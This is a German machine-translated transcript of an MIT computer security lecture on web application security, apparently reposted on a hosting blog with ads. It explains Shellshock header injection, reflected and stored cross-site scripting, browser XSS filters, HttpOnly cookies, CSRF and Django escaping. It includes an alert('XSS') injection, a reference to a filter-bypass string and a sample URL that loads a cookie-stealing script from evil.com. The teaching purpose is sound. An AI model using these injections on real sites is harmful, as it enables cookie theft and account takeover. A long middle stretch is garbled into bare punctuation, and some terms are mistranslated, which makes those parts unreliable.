MIT-Kurs "Computer Systems Security". Vorlesung 9: Sicherheit von Webanwendungen, Teil 1

Massachusetts Institute of Technology. Vorlesung # 6.858. "Sicherheit von Computersystemen." Nikolai Zeldovich, James Mickens. 2014 Jahr

Computer Systems Security ist ein Kurs zur Entwicklung und Implementierung sicherer Computersysteme. Die Vorträge behandeln Bedrohungsmodelle, Angriffe, die die Sicherheit gefährden, und Sicherheitstechniken, die auf jüngsten wissenschaftlichen Arbeiten basieren. Zu den Themen gehören Betriebssystemsicherheit, Funktionen, Informationsflussmanagement, Sprachsicherheit, Netzwerkprotokolle, Hardwaresicherheit und Sicherheit von Webanwendungen.

Vorlesung 1: „Einführung: Bedrohungsmodelle“ Teil 1 / Teil 2 / Teil 3
Vorlesung 2: „Kontrolle von Hackerangriffen“ Teil 1 / Teil 2 / Teil 3
Vorlesung 3: „Pufferüberläufe: Exploits und Schutz“ Teil 1 / Teil 2 / Teil 3
Vorlesung 4: „Trennung von Privilegien“ Teil 1 / Teil 2 / Teil 3
Vorlesung 5: „Woher kommen Sicherheitssysteme?“ Teil 1 / Teil 2
Vorlesung 6: „Chancen“ Teil 1 / Teil 2 / Teil 3
Vorlesung 7: „Native Client Sandbox“ Teil 1 / Teil 2 / Teil 3
Vorlesung 8: „Netzwerksicherheitsmodell“ Teil 1 / Teil 2 / Teil 3
Vorlesung 9: „Sicherheit von Webanwendungen“ Teil 1 / Teil 2 / Teil 3

Beginnen wir mit der zweiten Vorlesung in unserer beeindruckenden Reihe von Web-Sicherheitsgeschichten. Ich möchte sofort mit einer kurzen Demonstration von Beispielen fortfahren, da Sie wissen, dass unsere Demos fast nie funktionieren. Ich hoffe, Sie sehen heute keinen leeren Bildschirm.

Die Grundidee ist, dass ich Ihnen zunächst ein Beispiel für einen Shellshock-Fehler zeigen möchte, von dem Sie vielleicht schon gehört haben. Dies war ein ziemlich beliebtes Thema in der Literatur zur Computersicherheit.



Menschen geben einem Heartbleed-Fehler eine maximale Bewertung von 10 auf einer Gefahrenskala 10. Sie betrachten dies als den gefährlichsten Fehler, vor dem das Sicherheitssystem schützen sollte. Ich dachte, es wäre eine großartige Idee, Ihnen eine lebendige Geschichte dieses Themas zu zeigen, die Sie Ihren Eltern nacherzählen können, damit sie verstehen, dass das Studium am Massachusetts Institute of Technology das Geld wert ist.

Was ist die Hauptidee des Shellshock-Fehlers? Dies ist ein wirklich gutes Beispiel dafür, warum es so schwierig ist, sichere Webanwendungen zu erstellen, die mehrere Technologien, mehrere Sprachen, mehrere Betriebssysteme usw. umfassen. Daher besteht die Hauptidee darin, dass Shellshock die Tatsache nutzt, dass ein Angreifer eine spezielle http-Anforderung an den Server erstellen und die Header in dieser Anforderung verwalten kann. Ich habe ein sehr einfaches Beispiel an die Tafel geschrieben.
Angenommen, ein Angreifer möchte eine GET-Anfrage an ein CGI zum Thema Suche nach Katzen senden, da genau dies im Internet immer gesucht wird (nur ein Scherz). Daher gibt es ein Fragezeichen und eine Art Standard-Host-Header mit einer URL, z. B. example.com:

GET /querry.cgi? Suche = Katzen
Host: example.com
Benutzerdefinierter Header: Benutzerdefinierter Wert

Beachten Sie nun, dass ein Angreifer auch benutzerdefinierte Header angeben kann. Zum Beispiel möchte ich eine Art anwendungsspezifischen Header namens Custom-Header finden, um dort einen benutzerdefinierten Wert anzugeben, da die Webanwendung einige Funktionen definieren kann, die nicht mit einfachen vordefinierten HTTP-Headern ausgedrückt werden können. Während all dies ziemlich harmlos erscheint.
Letztendlich werden jedoch viele dieser Webserver für die Verarbeitung von CGI-Skripten diese benutzerdefinierten Werte aus dem Custom-Value-Header akzeptieren und zum Festlegen von Bash-Umgebungsvariablen verwenden. Das heißt, sie verwenden diesen benutzerdefinierten Header, um einen benutzerdefinierten Header für den Namen der Bash-Variablen zu erstellen. Sie verwenden diesen vom Angreifer bereitgestellten benutzerdefinierten Wert und verwenden ihn als Wert der Bash-Variablen. Sobald diese Variable festgelegt ist, verarbeitet der CGI-Server den Kontext dieser Umgebung.

Und das ist schlecht, weil Webserver keine willkürlichen Werte von diesen zufälligen "schmutzigen" Dingen nehmen sollten. In einem bestimmten Beispiel eines Shellshock-Fehlers kann daher eine Form des Wahnsinns beginnen, wenn Sie der Bash-Variablen einen böswilligen Wert geben.



Grundsätzlich wird diese böswillige Definition einer Funktion in der Bash-Skriptsprache ausgewählt, und Sie sollten sich nicht über die Besonderheiten dieses Prozesses Gedanken machen. Tatsache ist jedoch, dass dieser Teil von / bin / id nicht ausgeführt würde, wenn der Bash-Parameter korrekt eingestellt wäre. Sie haben also gerade eine Art dumme Funktion definiert, die nichts tut und den Abfrageprozess beendet.

Diese Zeichenfolge verwirrt den Bash-Parser jedoch und scheint über diesen Unsinn nach dem Schrägstrich zu stolpern. Und dann sagt er: "Oh, ich könnte hier weiterhin einige Befehle analysieren und ausführen, oder?" In diesem Fall wird einfach der Befehl bin / id ausgeführt, der einige Informationen zum Benutzer anzeigt. Das Wesentliche an der Sicherheitsanfälligkeit ist jedoch, dass Sie anstelle von bin / id hier absolut jeden Code einfügen können!

Ich werde ein sehr einfaches Beispiel geben, das Sie auf dem Bildschirm sehen werden. Dies ist ein sehr einfacher Python-Server, der einfachste, den Sie sich vorstellen können. Ich benutze hier die GET-Methode. Diese Methode bedeutet, dass alle HTTP-Header in der Anforderung durchlaufen werden.





Hier im Header haben wir einen Wert für die Variable K und einen Wert für die Abfrage V. In diesem Fall druckt GET einfach die gefundenen Header.

Und dann wird er etwas sehr Dummes tun - einen Systemaufruf durchführen und den Shell-Wert direkt auf den im Header angegebenen Wert setzen. Das ist also die ganze Wurzel der Sicherheitsanfälligkeit.

Wenn ich zum nächsten Tab gehe und den Webserver des Opfers starte, sehen wir, dass er bereit ist, Anfragen anzunehmen.



Dann kann ich meinen speziellen Shellshock-Client schreiben - er befindet sich auf der nächsten Registerkarte.



Tatsächlich ist es ganz einfach - ich definiere nur eine dieser böswilligen attack.str-Zeilen, daher hat sie zuerst solche "gekrümmten" Werte. Und dann weiß ich einfach, dass auf der Serverseite jetzt alles nach meinem Willen gemacht wird.

In diesem Fall habe ich etwas Harmloses verwendet - Echo "Ich besitze dein Auto." Aber es könnte alles geben. Sie können eine andere Bash-Shell mit dem Parameter "echo ATTACKER CMD" ausführen, dh dem Befehl des echten Angreifers, der sehr gefährlich sein kann.

Also setze ich die Header und die Benutzeranforderung und verwende dann einfach Python, um eine HTTP-Verbindung zu erstellen und sie einfach an den Server zu senden. Was passiert also am Ende? Ich führe hier meinen Shellshock-Client aus.



Sie sehen, Fehler 404 ist hier aufgetreten, da es keine Rolle spielt, welche Datei ich angefordert habe. Ich füge hier einfach einen Index ein, der kein HTML enthält. Wenn Sie jedoch hier auf der zweiten Registerkarte nachsehen, auf der der Webserver des Opfers angezeigt wird, der sich bereit erklärt hat, eine Verbindung über Port 8282 herzustellen, werden Sie feststellen, dass er meine Nachrichten "Ich besitze Ihr Auto" und "ATTACKER CMD" erhalten hat.



Sobald der Server des Opfers diesen Header erhalten hat, wurden sofort die Werte der Bash-Variablen festgelegt, und als Ergebnis wurde der Befehl ATTACKER CMD gestartet. Das ist klar?

Teilnehmerin: Geschieht dies, wenn ein Programm mit einem solchen Titel beginnt?

Professor: Ja. Die Einzelheiten zur Funktionsweise des Angriffs hängen daher davon ab, wie Ihr Webserver aussieht, z. B. ob Sie mit Apache arbeiten oder nicht. Dieses Beispiel ist etwas weit hergeholt, da ich tatsächlich eine andere Bash-Shell erstellt, eine Shell-Variable festgelegt und erst dann den Prozess gestartet habe. Sie können sich jedoch vorstellen, dass Sie die Umgebungsvariable direkt festlegen können, wenn Sie für jede eingehende Verbindung andere Prozesse erstellen.

Zielgruppe: Wenn Sie also zum Code des Webservers zurückkehren, scheint es eine viel schlimmere Sicherheitsanfälligkeit als Shellshock zu geben. Weil Sie einen Systemaufruf ausführen und den Befehl ausführen können, indem Sie den benutzerdefinierten Header auf etwas anderes setzen, und ich in diesem Beispiel den Shellshock-Fehler nicht verwenden müsste.

Professor: Ja, das ist richtig. In diesem speziellen Webserver, den ich nur als Beispiel geschrieben habe, gibt es etwas, dem man für nichts vertrauen kann. Wenn wir hier jedoch nicht Python, sondern Apache hätten, könnten wir den Umgebungswert für einen bestimmten Dienst direkt mit dem Parameter set nth festlegen. Es gibt jedoch Server wie diesen, die einen separaten Prozess erstellen und etwas tun, das dem angegebenen Beispiel sehr ähnlich ist.



Ein weiteres Beispiel, das ich Ihnen geben wollte, ist das Beispiel für Cross-Site-Scripting. Der Fehler von Shellshock war eine Art Beispiel dafür, wie wichtig die Desinfektion von Inhalten ist. Wir haben die Tatsache besprochen, dass Sie nicht nur Eingaben von zufälligen Personen akzeptieren und diese direkt in Teams jeglicher Art verwenden sollten.

Cross-Site-Scripting ist ein weiteres Beispiel dafür, warum möglicherweise etwas schief geht. In diesem Beispiel habe ich einen anderen einfachen CGI-Server in Python geschrieben.



Dies ist das Handle, das ausgeführt wird, wenn eine Anforderung vom Client empfangen wird. Ich habe hier einige Überschriften für die Antwort gedruckt, und meine Antwort wird HTML-Text sein. Wie sich herausstellt, verfügen Browser über einige Sicherheitsmechanismen, um den Angriff zu verhindern, den ich Ihnen zeigen werde. Daher habe ich es möglich gemacht, einige der Mechanismen dieses Schutzes zu deaktivieren, indem ich diese Titelleiste am Anfang platziert habe.

Das CGI-Skript erhält dann Zugriff auf alle Felder und CGI-Anforderungen, beginnend mit der Zeile form = cgi.FieldStorage (). Stellen Sie sich vor, dass alles, was sich in der Zeile nach diesem Fragezeichen befindet, den Titel und die Parameter unseres Beispiels darstellt:

GET /querry.cgi? Suche = Katzen
Host: example.com
Benutzerdefinierter Header: Benutzerdefinierter Wert

Als nächstes macht das CGI-Skript eine sehr einfache Sache - es druckt sofort den Wert von etwas, das vom Angreifer stammt. Dies ist dieselbe Grundidee, und dies ist eine schlechte Idee, da diese Druckfunktion den resultierenden Wert direkt in den HTML-Code selbst druckt.

Hier kann Folgendes passieren. Angenommen, ich habe eine Reihe von Abfragen, die ich ausführen möchte. In dieser ersten Anfrage setze ich einfach den Nachrichtenwert auf Hallo, das heißt, ich gehe zur Adresse der ersten Zeile.



Wenn ich zu meiner Seite gehe, wird das Wort "Hallo" darauf angezeigt, da der Server direkt akzeptiert, was ich an ihn weitergebe, und "Hallo" druckt. Also keine Überraschungen.



Ich verstehe, dass ich dort wirklich beliebigen HTML-Code übergeben kann, und wenn ich das Header-Format auf h1 setze, das heißt, ich sende die zweite Zeile, die mit Hallo endet, an den Server, sie ändert sich auch auf der Seite - Sie sehen, der Wortstil hat sich in den h1-Header-Stil geändert. Damit es funktioniert, gebe ich die Werte direkt in die Seite ein.



Großartig, jetzt sind wir im Geschäft und das ist cool. Fügen wir nun einfach den JavaScript-Code hinzu, dh wir führen die dritte von mir vorbereitete Zeile im Browser aus, in der ein bestimmtes Skript eingefügt wird, das nach dem Parameter alert ("XSS") ausgeführt wird.

Jetzt sehen wir einen leeren Bildschirm. Es scheint, dass wir keinen Erfolg hatten, da keine Ausgabe sichtbar ist und ich keine Warnungen bemerkt habe.



Wenn ich mir jedoch die Ausgabe des Webservers ansehe, werde ich feststellen, dass der Webserver selbst dieses endgültige Skript-Tag nicht erhalten hat. Es scheint, dass der Browser selbst etwas Böses entdeckt hat, obwohl ich versucht habe, den XSS-Filter zu deaktivieren. Es ist also ziemlich interessant. Später werden wir uns diesen Schutzmechanismus genauer ansehen, aber im Moment werde ich feststellen, dass der Browser versucht, standortübergreifenden Skriptangriffen standzuhalten.

Sie können jedoch die Tatsache nutzen, dass HTML, CSS und JavaScript äußerst komplexe Sprachen sind und schwer verständlich geschrieben sind. Ich werde dies ausnutzen und die letzte, vierte Zeile meines Eintrags verwenden und sie in die Adressleiste des Browsers einfügen. Dies ist eine Angriffszeichenfolge, die eine ungültige URL enthält. Es enthält die URL des Bildes <IMG “” ”> und des Skript-Tags”> und kann tatsächlich nicht analysiert werden. Daher wird der Browser beim Empfang einer solchen Zeile einfach verwirrt und zeigt Informationen auf dem Bildschirm an: „Auf der Seite unter 127.0.0.1:8282 steht: XSS“. Daher funktioniert die integrierte Cross-Site-Scripting-Erkennung nicht.



Wenn wir auf die Schaltfläche "OK" klicken, wird nur eine leere Seite angezeigt. Aber wenn Sie sich den Inhalt ansehen, werden wir unverständliche Zitate und Klammern sehen, die aus dem Nichts kommen.



Aus Sicht des Angreifers spielt die beschädigte Seite jedoch keine Rolle, da wir eine Warnung gesehen haben, was bedeutet, dass der Code gestartet wurde. Und es könnte verwendet werden, um Cookies zu stehlen oder so etwas zu tun.

Zielgruppe: Was ist der standortübergreifende Aspekt?

Professor: Der standortübergreifende Aspekt ist, dass ein Angreifer, der einen Benutzer davon überzeugen kann, zu einer URL zu gehen, wie in diesem Beispiel, die Person ist, die den Inhalt der Nachricht bestimmt. Er ist es, der die XSS-Warnung oder ähnliches erstellt. Im Wesentlichen führt die Seite des Opfers Code für jemanden aus, der diese Seite nicht verwaltet.

Also habe ich Ihnen zwei kurze Demonstrationen der „schmutzigen“ Welt gezeigt, in der wir leben. Warum ist Cross-Site-Scripting so verbreitet? Warum sind diese Themen so wichtig? Der Grund dafür ist, dass Websites immer dynamischer werden und mehrere benutzergenerierte Inhalte hosten oder Inhalte aus anderen Domänen enthalten möchten. Denken Sie beispielsweise an den Kommentarbereich eines Nachrichtenartikels. Diese Kommentare stammen von unzuverlässigen Personen - von Benutzern. Auf die eine oder andere Weise sollten diese Websites herausfinden, welche Regeln für die Kombination solcher Dinge gelten.

Websites können Benutzerdokumente wie Google- oder Office 365-Dokumente enthalten. Alle diese Dokumente stammen von unzuverlässigen Personen, müssen jedoch irgendwie miteinander und mit der hervorragenden Infrastruktur von Google oder Microsoft auskommen.

Welche Arten von standortübergreifenden Sicherheitsszenarien können wir verwenden? Eine Art des Schutzes sind Cross-Site-Scripting-Filter im Browser. Diese Filter versuchen, mögliche Cross-Site-Scripting-Angriffe zu erkennen. Und wir haben einen dieser Filter in Aktion gesehen - dies war das dritte Beispiel für das von uns untersuchte Szenario.
Angenommen, Sie haben die URL foo.com/?q= <script src = "evil.com/cookie stehlen.js">. Das heißt, diese Adresse führt ein Skript aus, das den Benutzer auf eine schädliche Website umleitet und ihm Cookies stiehlt.



Der Browser weigert sich also, es auszuführen, und der Trick dieses Angreifers funktioniert nicht. Der Grund ist einfach: Der Browser hat gerade überprüft, ob diese URL ein integriertes <script> , und das Klicken auf diesen Link verboten, nachdem er es gefunden hat. Daher ist dies eine sehr einfache Heuristik, um herauszufinden, ob etwas Schädliches passiert, da kein normaler Entwickler solche Dinge in die Adresse einfügt. Sie können die Konfigurationsoptionen Ihres Browsers so konfigurieren, dass solche Dinge aktiviert oder deaktiviert werden. Dies ist manchmal nützlich zum Testen, wenn Sie nur schnell und ohne große Überprüfung einige JavaScript-Daten eingeben möchten. Normalerweise ist diese Überprüfung im Browser jedoch standardmäßig aktiviert.

Beispielsweise verfügen Chrome und IE über einen integrierten Filter, der den URL-Wert in der Adressleiste überprüft und nach ähnlichen Dingen sucht. Und wenn sie vorhanden sind, versucht der Browser möglicherweise, sie vollständig zu entfernen oder die Quelle in <> leer zu machen. Es gibt viele heuristische Analysemethoden, anhand derer Browser solche Dinge erkennen sollten. Wenn Sie sich die OWASP-Website ansehen, gibt es Beispiele für die Verwendung einer solchen Heuristik zur Erkennung von Cross-Site-Scripting und Beispiele für die Umgehung dieses Filters.

Weißt du, es war sehr lustig, weil ich als Beispiel für unseren Vortrag zunächst etwas Ähnliches gemacht habe und es nicht funktioniert hat. Dann schaute ich in das OWASP-Spickzettel und fand die vierte Option, die funktionierte. Es war ein Beispiel mit einer fehlerhaften Analyse der img-Bildadresse.

Das Hauptproblem, bei dem Sie sich nicht einfach auf die integrierten Browserfilter verlassen können, besteht darin, dass es viele verschiedene Möglichkeiten gibt, CSS- und HTML-Parser zu zwingen, einige Inhalte falsch zu analysieren. Embedded-Lösungen sind also nicht perfekt, sie decken nicht alle Schwachstellen ab.

Teilnehmerin: Aber liegt es nicht in der Verantwortung des Browsers, solche Dinge zu überprüfen?

Professor: Ich meine den Fall, wenn sich der Browser auf einem Proxyserver befindet und der Proxy etwas tut, was in diesem Beispiel gezeigt wird. Das heißt, die integrierten Filter sind sinnvoll, da der Browser viele Parser enthalten kann und diese Filter zum Schutz der Handler-Ebenen im Browser verwendet werden.

Teilnehmerin: Ich denke, wir können sagen, dass es in der Verantwortung des Webentwicklers und nicht des Benutzers liegt, solche Dinge zu überprüfen.

Professor: In gewissem Sinne könnte man sagen, dass es unter Unix oder Windows auch Prozesse gibt, um die sich der Softwareentwickler und nicht der Benutzer kümmern sollte, und der Entwickler sollte sicherstellen, dass diese Dinge isoliert bleiben. In Wirklichkeit spielen aber auch das Betriebssystem und die Hardware eine wichtige Rolle, da man sonst keinem Programm von zufälligen Entwicklern vertrauen könnte. Aber im Grunde hast du recht. In der Tat versuchen Frameworks wie Django oder ähnliches, Ihnen dabei zu helfen, einige dieser Probleme zu umgehen.

Auf die eine oder andere Weise sind Filter keine ideale Lösung und können so genannte persistente oder persistente Cross-Site-Scripting-Angriffe, persistente XSS, nicht verhindern. Dies ist eine Art Reflexion, da der Skriptcode einfach in der URL "lebt". Sobald der Benutzer diese URL geschlossen hat, wurde der Angriff beendet.

Stellen Sie sich jedoch vor, ein Benutzer hat schädlichen HTML-Code in den Kommentaren Ihrer Website platziert. , . , .



, – . HTML- .

? - , . HTML, , . .

: , , , , - ?

: , . , — post. , , XML HTTP .

: , , …

: , , . , . - , .

, , .

, « HTTP », HTTP-only cookie. , , JavaScript cookie. , , , : «, , JavaScript, cookie»! - .

, , . , . , JavaScript cookie, - , , URL- - , , buy.com. , , , Ferrari, attacker, .



, JavaScript, cookie, , URL-. , CSRF , .

, , , . , , . , - , , , Google, Office 365 . . , Google googleusercontent.com. , Gmail . -, 25- .



? , - , google.com. , google.com. .

, – . , -, , . , . — Django. -, , -.



Django , , . – . CSS , . , . Django , : , .



-. , Django, Django : «, -, , , CGI». Django , , . - CGI0, , .

Django macht es jedoch viel besser - es desinfiziert Benutzerinhalte, da es einen Trick von ihm erwartet. Es platziert einfach sofort den Wert der Namensvariablen hier und codiert ihn so, dass dieser Inhalt niemals aus dem HTML-Kontext herauskommt und JavaScript-Code oder ähnliches ausführt.

26:25 min

MIT-Kurs "Computer Systems Security". Vorlesung 9: „Sicherheit von Webanwendungen“, Teil 2


Die Vollversion des Kurses finden Sie hier .

Vielen Dank für Ihren Aufenthalt bei uns. Gefällt dir unser Artikel? Möchten Sie weitere interessante Materialien sehen? Unterstützen Sie uns, indem Sie eine Bestellung aufgeben oder Ihren Freunden empfehlen, einen Rabatt von 30% für Habr-Benutzer auf ein einzigartiges Analogon von Einstiegsservern, das wir für Sie erfunden haben: Die ganze Wahrheit über VPS (KVM) E5-2650 v4 (6 Kerne) 10 GB DDR4 240 GB SSD 1 Gbit / s von $ 20 oder wie teilt man den Server? (Optionen sind mit RAID1 und RAID10, bis zu 24 Kernen und bis zu 40 GB DDR4 verfügbar).

VPS (KVM) E5-2650 v4 (6 Kerne) 10 GB DDR4 240 GB SSD 1 Gbit / s bis Dezember kostenlos, wenn Sie für einen Zeitraum von sechs Monaten bezahlen, können Sie hier bestellen.

Dell R730xd 2 mal günstiger? Nur wir haben 2 x Intel Dodeca-Core Xeon E5-2650v4 128 GB DDR4 6 x 480 GB SSD 1 Gbit / s 100 TV von 249 US-Dollar in den Niederlanden und den USA! Lesen Sie mehr über den Aufbau eines Infrastrukturgebäudes. Klasse mit Dell R730xd E5-2650 v4 Servern für 9.000 Euro für einen Cent?